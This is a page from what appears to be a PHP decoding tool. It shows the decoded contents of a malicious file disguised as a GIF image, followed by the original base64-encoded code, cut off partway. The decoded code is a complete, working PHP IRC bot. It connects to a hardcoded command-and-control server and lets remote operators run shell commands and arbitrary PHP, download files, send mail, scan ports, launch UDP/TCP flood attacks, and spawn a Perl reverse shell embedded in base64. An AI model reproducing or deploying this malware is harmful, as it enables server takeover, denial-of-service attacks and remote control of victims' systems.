Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

GIF89a1 <?php eval("?>".base64_decode("PD8gCgovKgogKgogKiAgU2VraXAgVGVjaG5vbG9neSBzaW5jZ..

Decoded Output download

?>b'<? 

/*
 *
 *  Sekip Technology since 2002
 *  edited by: STMIK and ROZI <[email protected]> <[email protected]>
 *  COMMANDS:
 *
 *  .user <password> //login to the bot
 *  .logout //logout of the bot
 *  .die //kill the bot
 *  .restart //restart the bot
 *  .mail <to> <from> <subject> <msg> //send an email
 *  .dns <IP|HOST> //dns lookup
 *  .download <URL> <filename> //download a file
 *  .exec <cmd> // uses exec() //execute a command
 *  .sexec <cmd> // uses shell_exec() //execute a command
 *  .cmd <cmd> // uses popen() //execute a command
 *  .info //get system information
 *  .php <php code> // uses eval() //execute php code
 *  .tcpflood <target> <packets> <packetsize> <port> <delay> //tcpflood attack
 *  .udpflood <target> <packets> <packetsize> <delay> //udpflood attack
 *  .raw <cmd> //raw IRC command
 *  .rndnick //change nickname
 *  .pscan <host> <port> //port scan
 *  .safe  // test safe_mode (dvl)
 *  .inbox <to> // test inbox (dvl)
 *  .conback <ip> <port> // conect back (dvl)
 *  .uname // return shell\'s uname using a php function (dvl)
 *
 */

set_time_limit(0); 
error_reporting(0); 
echo "ok!";

class pBot 
{ 
 var $config = array("server"=>"167.99.137.140",
                     "port"=>"443",
                     "pass"=>"NFam",
                     "prefix"=>"STMIK",
                     "maxrand"=>"5",
                     "chan"=>"#sql",
                     "chan2"=>"#sql",
                     "key"=>"NFam",
                     "modes"=>"+p",
                     "password"=>"NFam",
                     "trigger"=>".",
                     "hostauth"=>"*" // 
                     );
 var $users = array(); 
 function start() 
 { 
    if(!($this->conn = fsockopen($this->config[\'server\'],$this->config[\'port\'],$e,$s,30))) 
       $this->start(); 
    $ident = $this->config[\'prefix\'];
    $alph = range("0","9");
    for($i=0;$i<$this->config[\'maxrand\'];$i++) 
       $ident .= $alph[rand(0,9)];
    if(strlen($this->config[\'pass\'])>0) 
       $this->send("PASS ".$this->config[\'pass\']);
    $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
    $this->set_nick();
    $this->main();
 } 
 function main() 
 { 
    while(!feof($this->conn)) 
    { 
       $this->buf = trim(fgets($this->conn,512)); 
       $cmd = explode(" ",$this->buf); 
       if(substr($this->buf,0,6)=="PING :") 
       { 
          $this->send("PONG :".substr($this->buf,6)); 
       } 
       if(isset($cmd[1]) && $cmd[1] =="001") 
       { 
          $this->send("MODE ".$this->nick." ".$this->config[\'modes\']); 
          $this->join($this->config[\'chan\'],$this->config[\'key\']);
          if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
          else { $safemode = "off"; }
          $uname = php_uname();
          $this->privmsg($this->config[\'chan2\'],"[uname!]: $uname (safe: $safemode)");
          $this->privmsg($this->config[\'chan2\'],"[vuln!]: http://".$_SERVER[\'SERVER_NAME\']."".$_SERVER[\'REQUEST_URI\']."");
       } 
       if(isset($cmd[1]) && $cmd[1]=="433") 
       { 
          $this->set_nick(); 
       } 
       if($this->buf != $old_buf) 
       { 
          $mcmd = array(); 
          $msg = substr(strstr($this->buf," :"),2); 
          $msgcmd = explode(" ",$msg); 
          $nick = explode("!",$cmd[0]); 
          $vhost = explode("@",$nick[1]); 
          $vhost = $vhost[1]; 
          $nick = substr($nick[0],1); 
          $host = $cmd[0]; 
          if($msgcmd[0]==$this->nick) 
          { 
           for($i=0;$i<count($msgcmd);$i++) 
              $mcmd[$i] = $msgcmd[$i+1]; 
          } 
          else 
          { 
           for($i=0;$i<count($msgcmd);$i++) 
              $mcmd[$i] = $msgcmd[$i]; 
          } 
          if(count($cmd)>2) 
          { 
             switch($cmd[1]) 
             { 
                case "QUIT": 
                   if($this->is_logged_in($host)) 
                   { 
                      $this->log_out($host); 
                   } 
                break; 
                case "PART": 
                   if($this->is_logged_in($host)) 
                   { 
                      $this->log_out($host); 
                   } 
                break; 
                case "PRIVMSG": 
                   if(!$this->is_logged_in($host) && ($vhost == $this->config[\'hostauth\'] || $this->config[\'hostauth\'] == "*")) 
                   { 
                      if(substr($mcmd[0],0,1)==".") 
                      { 
                         switch(substr($mcmd[0],1)) 
                         { 
                            case "user": 
                              if($mcmd[1]==$this->config[\'password\']) 
                              { 
                                 $this->log_in($host);
                              } 
                              else 
                              { 
                                 $this->notice($this->config[\'chan\'],"[Auth]: Senha errada $nick idiota!!");
                              } 
                            break; 
                         } 
                      } 
                   } 
                   elseif($this->is_logged_in($host)) 
                   { 
                      if(substr($mcmd[0],0,1)==".") 
                      { 
                         switch(substr($mcmd[0],1)) 
                         { 
                            case "restart": 
                               $this->send("QUIT :restart commando from $nick");
                               fclose($this->conn); 
                               $this->start(); 
                            break; 
                            case "mail": //mail to from subject message 
                               if(count($mcmd)>4) 
                               { 
                                  $header = "From: <".$mcmd[2].">"; 
                                  if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header)) 
                                  { 
                                     $this->privmsg($this->config[\'chan\'],"[mail]: Impossivel mandar e-mail.");
                                  } 
                                  else 
                                  { 
                                     $this->privmsg($this->config[\'chan\'],"[mail]: Mensagem enviada para ".$mcmd[1].""); 
                                  } 
                               } 
                            break;
                            case "safe":
                               if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
                               {
                               $safemode = "on";
                               }
                               else {
                               $safemode = "off";
                               }
                               $this->privmsg($this->config[\'chan\'],"[safe mode]: ".$safemode."");
                            break;
                            case "inbox": //teste inbox
                               if(isset($mcmd[1]))
                               {
                                  $token = md5(uniqid(rand(), true));
                                  $header = "From: <inbox".$token."@byroe.org>";
                                  $a = php_uname();
                                  $b = getenv("SERVER_SOFTWARE");
                                  $c = gethostbyname($_SERVER["HTTP_HOST"]);
                                  if(!mail($mcmd[1],"InBox Test","#Sekip Technology since 2002

ip: $c 
software: $b 
system: $a 
vuln: http://".$_SERVER[\'SERVER_NAME\']."".$_SERVER[\'REQUEST_URI\']."

greetz: wicked
by: dvl <[email protected]>",$header))
                                  {
                                     $this->privmsg($this->config[\'chan\'],"[inbox]: Unable to send");
                                  }
                                  else
                                  {
                                     $this->privmsg($this->config[\'chan\'],"[inbox]: Message sent to ".$mcmd[1]."");
                                  }
                               }
                            break;
                            case "conback":
                               if(count($mcmd)>2)
                               {
                                  $this->conback($mcmd[1],$mcmd[2]);
                               }
                            break;
                            case "dns": 
                               if(isset($mcmd[1])) 
                               { 
                                  $ip = explode(".",$mcmd[1]); 
                                  if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) 
                                  { 
                                     $this->privmsg($this->config[\'chan\'],"[dns]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1])); 
                                  } 
                                  else 
                                  { 
                                     $this->privmsg($this->config[\'chan\'],"[dns]: ".$mcmd[1]." => ".gethostbyname($mcmd[1])); 
                                  } 
                               } 
                            break; 
                            case "info":
                            case "vunl":
                               if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
                               else { $safemode = "off"; }
                               $uname = php_uname();
                               $this->privmsg($this->config[\'chan\'],"[info]: $uname (safe: $safemode)");
                               $this->privmsg($this->config[\'chan\'],"[vuln]: http://".$_SERVER[\'SERVER_NAME\']."".$_SERVER[\'REQUEST_URI\']."");
                            break;
                            case "bot":
                               $this->privmsg($this->config[\'chan\'],"[bot]: phpbot 2.0 by; #crew@corp.");
                            break;
                            case "uname":
                               if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
                               else { $safemode = "off"; }
                               $uname = php_uname();
                               $this->privmsg($this->config[\'chan\'],"[info]: $uname (safe: $safemode)");
                            break;
                            case "rndnick": 
                               $this->set_nick(); 
                            break; 
                            case "raw":
                               $this->send(strstr($msg,$mcmd[1])); 
                            break; 
                            case "eval":
                              $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
                            break;
			                case "sexec":
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 
                               $exec = shell_exec($command); 
                               $ret = explode("
",$exec); 
                               for($i=0;$i<count($ret);$i++) 
                                  if($ret[$i]!=NULL) 
                                     $this->privmsg($this->config[\'chan\'],"      : ".trim($ret[$i])); 
                            break; 

                            case "exec": 
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 
                               $exec = exec($command); 
                               $ret = explode("
",$exec); 
                               for($i=0;$i<count($ret);$i++) 
                                  if($ret[$i]!=NULL) 
                                     $this->privmsg($this->config[\'chan\'],"      : ".trim($ret[$i])); 
                            break; 

                            case "passthru": 
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 
                               $exec = passthru($command); 
                               $ret = explode("
",$exec); 
                               for($i=0;$i<count($ret);$i++) 
                                  if($ret[$i]!=NULL) 
                                     $this->privmsg($this->config[\'chan\'],"      : ".trim($ret[$i])); 
                            break; 

                            case "popen": 
                               if(isset($mcmd[1])) 
                               { 
                                  $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 
                                  $this->privmsg($this->config[\'chan\'],"[popen]: $command");
                                  $pipe = popen($command,"r"); 
                                  while(!feof($pipe)) 
                                  { 
                                     $pbuf = trim(fgets($pipe,512)); 
                                     if($pbuf != NULL) 
                                        $this->privmsg($this->config[\'chan\'],"     : $pbuf"); 
                                  } 
                                  pclose($pipe); 
                               }  
			   
                            case "system": 
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 
                               $exec = system($command); 
                               $ret = explode("
",$exec); 
                               for($i=0;$i<count($ret);$i++) 
                                  if($ret[$i]!=NULL) 
                                     $this->privmsg($this->config[\'chan\'],"      : ".trim($ret[$i])); 
                            break; 


                            case "pscan": // .pscan 127.0.0.1 6667 
                               if(count($mcmd) > 2) 
                               { 
                                  if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15)) 
                                     $this->privmsg($this->config[\'chan\'],"[pscan]: ".$mcmd[1].":".$mcmd[2]." is open"); 
                                  else 
                                     $this->privmsg($this->config[\'chan\'],"[pscan]: ".$mcmd[1].":".$mcmd[2]." is closed"); 
                               } 
                            break; 
                            case "ud.server": // .ud.server <server> <port> [password] 
                               if(count($mcmd)>2) 
                               { 
                                  $this->config[\'server\'] = $mcmd[1]; 
                                  $this->config[\'port\'] = $mcmd[2]; 
                                  if(isset($mcmcd[3])) 
                                  { 
                                   $this->config[\'pass\'] = $mcmd[3]; 
                                   $this->privmsg($this->config[\'chan\'],"[update]: Server trocado para ".$mcmd[1].":".$mcmd[2]." Senha: ".$mcmd[3]); 
                                  } 
                                  else 
                                  { 
                                     $this->privmsg($this->config[\'chan\'],"[update]: Server trocado para ".$mcmd[1].":".$mcmd[2]); 
                                  } 
                               } 
                            break; 
                            case "download": 
                               if(count($mcmd) > 2) 
                               { 
                                  if(!$fp = fopen($mcmd[2],"w")) 
                                  { 
                                     $this->privmsg($this->config[\'chan\'],"[download]: Nao foi possivel fazer o download. Permissao negada."); 
                                  } 
                                  else 
                                  { 
                                     if(!$get = file($mcmd[1])) 
                                     { 
                                        $this->privmsg($this->config[\'chan\'],"[download]: Nao foi possivel fazer o download de ".$mcmd[1].""); 
                                     } 
                                     else 
                                     { 
                                        for($i=0;$i<=count($get);$i++) 
                                        { 
                                           fwrite($fp,$get[$i]); 
                                        } 
                                        $this->privmsg($this->config[\'chan\'],"[download]: Arquivo ".$mcmd[1]." baixado para ".$mcmd[2].""); 
                                     } 
                                     fclose($fp); 
                                  } 
                               }
                               else { $this->privmsg($this->config[\'chan\'],"[download]: use .download http://your.host/file /tmp/file"); }
                            break; 
                            case "die": 
                               $this->send("QUIT :die command from $nick");
                               fclose($this->conn); 
                               exit; 
                            case "logout": 
                               $this->log_out($host); 
                               $this->privmsg($this->config[\'chan\'],"[auth]: $nick deslogado!"); 
                            break; 
                            case "udpflood": 
                               if(count($mcmd)>3) 
                               { 
                                  $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]); 
                               } 
                            break; 
                            case "tcpflood": 
                               if(count($mcmd)>5) 
                               { 
                                  $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]); 
                               } 
                            break; 
                         } 
                      } 
                   } 
                break; 
             } 
          } 
       } 
       $old_buf = $this->buf; 
    } 
    $this->start(); 
 } 
 function send($msg) 
 { 
    fwrite($this->conn,"$msg
"); 

 } 
 function join($chan,$key=NULL) 
 { 
    $this->send("JOIN $chan $key"); 
 } 
 function privmsg($to,$msg)
 {
    $this->send("PRIVMSG $to :$msg");
 }
 function notice($to,$msg)
 {
    $this->send("NOTICE $to :$msg");
 }
 function is_logged_in($host) 
 { 
    if(isset($this->users[$host])) 
       return 1; 
    else 
       return 0; 
 } 
 function log_in($host) 
 { 
    $this->users[$host] = true; 
 } 
 function log_out($host) 
 { 
    unset($this->users[$host]); 
 } 
 function set_nick() 
 { 
    if(isset($_SERVER[\'SERVER_SOFTWARE\'])) 
    { 
       if(strstr(strtolower($_SERVER[\'SERVER_SOFTWARE\']),"apache")) 
          $this->nick = "[A]"; 
       elseif(strstr(strtolower($_SERVER[\'SERVER_SOFTWARE\']),"iis")) 
          $this->nick = "[I]"; 
       elseif(strstr(strtolower($_SERVER[\'SERVER_SOFTWARE\']),"xitami")) 
          $this->nick = "[X]"; 
       else 
          $this->nick = "[U]"; 
    } 
    else 
    { 
       $this->nick = "[C]"; 
    } 
    $this->nick .= $this->config[\'prefix\']; 
    for($i=0;$i<$this->config[\'maxrand\'];$i++) 
       $this->nick .= mt_rand(0,9); 
    $this->send("NICK ".$this->nick);
 } 
  function udpflood($host,$packetsize,$time) {
	$this->privmsg($this->config[\'chan\'],"[UdpFlood Started!]"); 
	$packet = "";
	for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
	$timei = time();
	$i = 0;
	while(time()-$timei < $time) {
		$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
      	fwrite($fp,$packet);
       	fclose($fp);
		$i++;
	}
	$env = $i * $packetsize;
	$env = $env / 1048576;
	$vel = $env / $time;
	$vel = round($vel);
	$env = round($env);
	$this->privmsg($this->config[\'chan\'],"[UdpFlood Finished!]: $env MB enviados / Media: $vel MB/s ");
}
 function tcpflood($host,$packets,$packetsize,$port,$delay) 
 { 
    $this->privmsg($this->config[\'chan\'],"[TcpFlood Started!]"); 
    $packet = ""; 
    for($i=0;$i<$packetsize;$i++) 
       $packet .= chr(mt_rand(1,256)); 
    for($i=0;$i<$packets;$i++) 
    { 
       if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5)) 
       { 
          $this->privmsg($this->config[\'chan\'],"[TcpFlood]: Error: <$e>"); 
          return 0; 
       } 
       else 
       { 
          fwrite($fp,$packet); 
          fclose($fp); 
       } 
       sleep($delay); 
    } 
    $this->privmsg($this->config[\'chan\'],"[TcpFlood Finished!]: Config - $packets pacotes para $host:$port."); 
 }
 function conback($ip,$port)
 {
    $this->privmsg($this->config[\'chan\'],"[conback]: tentando conectando a $ip:$port");
    $dc_source = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KcHJpbnQgIkRhdGEgQ2hhMHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQppZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogIGV4aXQoMSk7DQp9DQpwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID0gODA7DQppZiAoJEFSR1ZbMV0pIHsNCiAgJHBvcnQgPSAkQVJHVlsxXTsNCn0NCnByaW50ICJbKl0gQ29ubmVjdGluZy4uLlxuIjsNCiRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3AnKSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0Kc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCm15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogIGRpZSgiVW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KfQ0KcHJpbnQgIlsqXSBTcGF3bmluZyBTaGVsbFxuIjsNCmlmICghZm9yayggKSkgew0KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOw0KICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERFUlIsIj4mU0VSVkVSIik7DQogIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow0KICBleGl0KDApOw0KfQ0KcHJpbnQgIlsqXSBEYXRhY2hlZFxuXG4iOw==";
    if (is_writable("/tmp"))
    {
      if (file_exists("/tmp/dc.pl")) { unlink("/tmp/dc.pl"); }
      $fp=fopen("/tmp/dc.pl","w");
      fwrite($fp,base64_decode($dc_source));
      passthru("perl /tmp/dc.pl $ip $port &");
      unlink("/tmp/dc.pl");
    }
    else
    {
    if (is_writable("/var/tmp"))
    {
      if (file_exists("/var/tmp/dc.pl")) { unlink("/var/tmp/dc.pl"); }
      $fp=fopen("/var/tmp/dc.pl","w");
      fwrite($fp,base64_decode($dc_source));
      passthru("perl /var/tmp/dc.pl $ip $port &");
      unlink("/var/tmp/dc.pl");
    }
    if (is_writable("."))
    {
      if (file_exists("dc.pl")) { unlink("dc.pl"); }
      $fp=fopen("dc.pl","w");
      fwrite($fp,base64_decode($dc_source));
      passthru("perl dc.pl $ip $port &");
      unlink("dc.pl");
    }
    }
  }
} 

$bot = new pBot; 
$bot->start(); 

?>'

Did this file decode correctly?

Original Code

GIF89a1
<?php
eval("?>".base64_decode("PD8gCgovKgogKgogKiAgU2VraXAgVGVjaG5vbG9neSBzaW5jZSAyMDAyCiAqICBlZGl0ZWQgYnk6IFNUTUlLIGFuZCBST1pJIDxTVE1JS0BieXJvZS5vcmc+IDxST1pJQGJ5cm9lLm9yZz4KICogIENPTU1BTkRTOgogKgogKiAgLnVzZXIgPHBhc3N3b3JkPiAvL2xvZ2luIHRvIHRoZSBib3QKICogIC5sb2dvdXQgLy9sb2dvdXQgb2YgdGhlIGJvdAogKiAgLmRpZSAvL2tpbGwgdGhlIGJvdAogKiAgLnJlc3RhcnQgLy9yZXN0YXJ0IHRoZSBib3QKICogIC5tYWlsIDx0bz4gPGZyb20+IDxzdWJqZWN0PiA8bXNnPiAvL3NlbmQgYW4gZW1haWwKICogIC5kbnMgPElQfEhPU1Q+IC8vZG5zIGxvb2t1cAogKiAgLmRvd25sb2FkIDxVUkw+IDxmaWxlbmFtZT4gLy9kb3dubG9hZCBhIGZpbGUKICogIC5leGVjIDxjbWQ+IC8vIHVzZXMgZXhlYygpIC8vZXhlY3V0ZSBhIGNvbW1hbmQKICogIC5zZXhlYyA8Y21kPiAvLyB1c2VzIHNoZWxsX2V4ZWMoKSAvL2V4ZWN1dGUgYSBjb21tYW5kCiAqICAuY21kIDxjbWQ+IC8vIHVzZXMgcG9wZW4oKSAvL2V4ZWN1dGUgYSBjb21tYW5kCiAqICAuaW5mbyAvL2dldCBzeXN0ZW0gaW5mb3JtYXRpb24KICogIC5waHAgPHBocCBjb2RlPiAvLyB1c2VzIGV2YWwoKSAvL2V4ZWN1dGUgcGhwIGNvZGUKICogIC50Y3BmbG9vZCA8dGFyZ2V0PiA8cGFja2V0cz4gPHBhY2tldHNpemU+IDxwb3J0PiA8ZGVsYXk+IC8vdGNwZmxvb2QgYXR0YWNrCiAqICAudWRwZmxvb2QgPHRhcmdldD4gPHBhY2tldHM+IDxwYWNrZXRzaXplPiA8ZGVsYXk+IC8vdWRwZmxvb2QgYXR0YWNrCiAqICAucmF3IDxjbWQ+IC8vcmF3IElSQyBjb21tYW5kCiAqICAucm5kbmljayAvL2NoYW5nZSBuaWNrbmFtZQogKiAgLnBzY2FuIDxob3N0PiA8cG9ydD4gLy9wb3J0IHNjYW4KICogIC5zYWZlICAvLyB0ZXN0IHNhZmVfbW9kZSAoZHZsKQogKiAgLmluYm94IDx0bz4gLy8gdGVzdCBpbmJveCAoZHZsKQogKiAgLmNvbmJhY2sgPGlwPiA8cG9ydD4gLy8gY29uZWN0IGJhY2sgKGR2bCkKICogIC51bmFtZSAvLyByZXR1cm4gc2hlbGwncyB1bmFtZSB1c2luZyBhIHBocCBmdW5jdGlvbiAoZHZsKQogKgogKi8KCnNldF90aW1lX2xpbWl0KDApOyAKZXJyb3JfcmVwb3J0aW5nKDApOyAKZWNobyAib2shIjsKCmNsYXNzIHBCb3QgCnsgCiB2YXIgJGNvbmZpZyA9IGFycmF5KCJzZXJ2ZXIiPT4iMTY3Ljk5LjEzNy4xNDAiLAogICAgICAgICAgICAgICAgICAgICAicG9ydCI9PiI0NDMiLAogICAgICAgICAgICAgICAgICAgICAicGFzcyI9PiJORmFtIiwKICAgICAgICAgICAgICAgICAgICAgInByZWZpeCI9PiJTVE1JSyIsCiAgICAgICAgICAgICAgICAgICAgICJtYXhyYW5kIj0+IjUiLAogICAgICAgICAgICAgICAgICAgICAiY2hhbiI9PiIjc3FsIiwKICAgICAgICAgICAgICAgICAgICAgImNoYW4yIj0+IiNzcWwiLAogICAgICAgICAgICAgICAgICAgICAia2V5Ij0+Ik5GYW0iLAogICAgICAgICAgICAgICAgICAgICAibW9kZXMiPT4iK3AiLAogICAgICAgICAgICAgICAgICAgICAicGFzc3dvcmQiPT4iTkZhbSIsCiAgICAgICAgICAgICAgICAgICAgICJ0cmlnZ2VyIj0+Ii4iLAogICAgICAgICAgICAgICAgICAgICAiaG9zdGF1dGgiPT4iKiIgLy8gCiAgICAgICAgICAgICAgICAgICAgICk7CiB2YXIgJHVzZXJzID0gYXJyYXkoKTsgCiBmdW5jdGlvbiBzdGFydCgpIAogeyAKICAgIGlmKCEoJHRoaXMtPmNvbm4gPSBmc29ja29wZW4oJHRoaXMtPmNvbmZpZ1snc2VydmVyJ10sJHRoaXMtPmNvbmZpZ1sncG9ydCddLCRlLCRzLDMwKSkpIAogICAgICAgJHRoaXMtPnN0YXJ0KCk7IAogICAgJGlkZW50ID0gJHRoaXMtPmNvbmZpZ1sncHJlZml4J107CiAgICAkYWxwaCA9IHJhbmdlKCIwIiwiOSIpOwogICAgZm9yKCRpPTA7JGk8JHRoaXMtPmNvbmZpZ1snbWF4cmFuZCddOyRpKyspIAogICAgICAgJGlkZW50IC49ICRhbHBoW3JhbmQoMCw5KV07CiAgICBpZihzdHJsZW4oJHRoaXMtPmNvbmZpZ1sncGFzcyddKT4wKSAKICAgICAgICR0aGlzLT5zZW5kKCJQQVNTICIuJHRoaXMtPmNvbmZpZ1sncGFzcyddKTsKICAgICR0aGlzLT5zZW5kKCJVU0VSICIuJGlkZW50LiIgMTI3LjAuMC4xIGxvY2FsaG9zdCA6Ii5waHBfdW5hbWUoKS4iIik7CiAgICAkdGhpcy0+c2V0X25pY2soKTsKICAgICR0aGlzLT5tYWluKCk7CiB9IAogZnVuY3Rpb24gbWFpbigpIAogeyAKICAgIHdoaWxlKCFmZW9mKCR0aGlzLT5jb25uKSkgCiAgICB7IAogICAgICAgJHRoaXMtPmJ1ZiA9IHRyaW0oZmdldHMoJHRoaXMtPmNvbm4sNTEyKSk7IAogICAgICAgJGNtZCA9IGV4cGxvZGUoIiAiLCR0aGlzLT5idWYpOyAKICAgICAgIGlmKHN1YnN0cigkdGhpcy0+YnVmLDAsNik9PSJQSU5HIDoiKSAKICAgICAgIHsgCiAgICAgICAgICAkdGhpcy0+c2VuZCgiUE9ORyA6Ii5zdWJzdHIoJHRoaXMtPmJ1Ziw2KSk7IAogICAgICAgfSAKICAgICAgIGlmKGlzc2V0KCRjbWRbMV0pICYmICRjbWRbMV0gPT0iMDAxIikgCiAgICAgICB7IAogICAgICAgICAgJHRoaXMtPnNlbmQoIk1PREUgIi4kdGhpcy0+bmljay4iICIuJHRoaXMtPmNvbmZpZ1snbW9kZXMnXSk7IAogICAgICAgICAgJHRoaXMtPmpvaW4oJHRoaXMtPmNvbmZpZ1snY2hhbiddLCR0aGlzLT5jb25maWdbJ2tleSddKTsKICAgICAgICAgIGlmIChAaW5pX2dldCgic2FmZV9tb2RlIikgb3Igc3RydG9sb3dlcihAaW5pX2dldCgic2FmZV9tb2RlIikpID09ICJvbiIpIHsgJHNhZmVtb2RlID0gIm9uIjsgfQogICAgICAgICAgZWxzZSB7ICRzYWZlbW9kZSA9ICJvZmYiOyB9CiAgICAgICAgICAkdW5hbWUgPSBwaHBfdW5hbWUoKTsKICAgICAgICAgICR0aGlzLT5wcml2bXNnKCR0aGlzLT5jb25maWdbJ2NoYW4yJ10sIltcMnVuYW1lIVwyXTogJHVuYW1lIChzYWZlOiAkc2FmZW1vZGUpIik7CiAgICAgICAgICAkdGhpcy0+cHJpdm1zZygkdGhpcy0+Y29uZmlnWydjaGFuMiddLCJbXDJ2dWxuIVwyXTogaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uIiIuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uIiIpOwogICAgICAgfSAKICAgICAgIGlmKGlzc2V0KCRjbWRbMV0pICYmICRjbWRbMV09PSI0MzMiKSAKICAgICAgIHsgCiAgICAgICAgICAkdGhpcy0+c2V0X25pY2soKTsgCiAgICAgICB9IAogICAgICAgaWYoJHRoaXMtPmJ1ZiAhPSAkb2xkX2J1ZikgCiAgICAgICB7IAogICAgICAgICAgJG1jbWQgPSBhcnJheSgpOyAKICAgICAgICAgICRtc2cgPSBzdWJzdHIoc3Ryc3RyKCR0aGlzLT5idWYsIiA6IiksMik7IAogICAgICAgICAgJG1zZ2NtZCA9IGV4cGxvZGUoIiAiLCRtc2cpOyAKICAgICAgICAgICRuaWNrID0gZXhwbG9kZSgiISIsJGNtZFswXSk7IAogICAgICAgICAgJHZob3N0ID0gZXhwbG9kZSgiQCIsJG5pY2tbMV0pOyAKICAgICAgICAgICR2aG9zdCA9ICR2aG9zdFsxXTsgCiAgICAgICAgICAkbmljayA9IHN1YnN0cigkbmlja1swXSwxKTsgCiAgICAgICAgICAkaG9zdCA9ICRjbWRbMF07IAogICAgICAgICAgaWYoJG1zZ2NtZFswXT09JHRoaXMtPm5pY2spIAogICAgICAgICAgeyAKICAgICAgICAgICBmb3IoJGk9MDskaTxjb3VudCgkbXNnY21kKTskaSsrKSAKICAgICAgICAgICAgICAkbWNtZFskaV0gPSAkbXNnY21kWyRpKzFdOyAKICAgICAgICAgIH0gCiAgICAgICAgICBlbHNlIAogICAgICAgICAgeyAKICAgICAgICAgICBmb3IoJGk9MDskaTxjb3VudCgkbXNnY21kKTskaSsrKSAKICAgICAgICAgICAgICAkbWNtZFskaV0gPSAkbXNnY21kWyRpXTsgCiAgICAgICAgICB9IAogICAgICAgICAgaWYoY291bnQoJGNtZCk+MikgCiAgICAgICAgICB7IAogICAgICAgICAgICAgc3dpdGNoKCRjbWRbMV0pIAogICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgIGNhc2UgIlFVSVQiOiAKICAgICAgICAgICAgICAgICAgIGlmKCR0aGlzLT5pc19sb2dnZWRfaW4oJGhvc3QpKSAKICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+bG9nX291dCgkaG9zdCk7IAogICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgIGJyZWFrOyAKICAgICAgICAgICAgICAgIGNhc2UgIlBBUlQiOiAKICAgICAgICAgICAgICAgICAgIGlmKCR0aGlzLT5pc19sb2dnZWRfaW4oJGhvc3QpKSAKICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+bG9nX291dCgkaG9zdCk7IAogICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgIGJyZWFrOyAKICAgICAgICAgICAgICAgIGNhc2UgIlBSSVZNU0ciOiAKICAgICAgICAgICAgICAgICAgIGlmKCEkdGhpcy0+aXNfbG9nZ2VkX2luKCRob3N0KSAmJiAoJHZob3N0ID09ICR0aGlzLT5jb25maWdbJ2hvc3RhdXRoJ10gfHwgJHRoaXMtPmNvbmZpZ1snaG9zdGF1dGgnXSA9PSAiKiIpKSAKICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICBpZihzdWJzdHIoJG1jbWRbMF0sMCwxKT09Ii4iKSAKICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2goc3Vic3RyKCRtY21kWzBdLDEpKSAKICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJ1c2VyIjogCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRtY21kWzFdPT0kdGhpcy0+Y29uZmlnWydwYXNzd29yZCddKSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmxvZ19pbigkaG9zdCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgCiAgI